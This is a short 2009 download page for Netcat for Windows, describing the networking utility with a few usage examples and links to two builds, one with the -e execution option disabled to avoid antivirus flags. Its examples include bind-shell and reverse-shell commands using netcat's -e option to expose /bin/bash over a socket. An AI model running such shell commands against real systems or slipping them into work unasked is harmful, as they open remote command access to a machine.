Netcat for Windows

April 10, 2009 19:52

Netcat is a simple networking utility which reads and writes data across network connections using the TCP/IP protocol. It's a wonderful tool for debugging all kinds of network problems. It allows you to read and write data over a network socket just as simply as you can read data from stdin or write to stdout. I have put together a few examples of what this can be used to accomplish.

Establishing a connection and getting some data over HTTP:

# nc example.com 80
GET / HTTP/1.0

<HTML>
<!-- site's code here -->
</HTML>

Creating a shell:

Remote machine: nc -l 1234 -e /bin/bash
Local machine: nc remote_machine 1234

Creating a reverse shell:

Local machine: nc -l 1234
Remote machine: nc -e /bin/bash local_machine 1234

That's just a taste of what netcat can do. I'm sure you are really just here for the download.

Download Netcat for Windows

sha1: a2d3026b4630789247abf07aa3986d7a697cf4cd

If you are having problems due to antivirus programs detecting this as a threat, the following version may be helpful to you. It is compiled with the -e remote execution option disabled. Thanks go to Rodney Beede for putting this together.

Download Netcat for Windows (without -e)

sha1: af53818f74888d58e9d175ce065286f1f4a27c61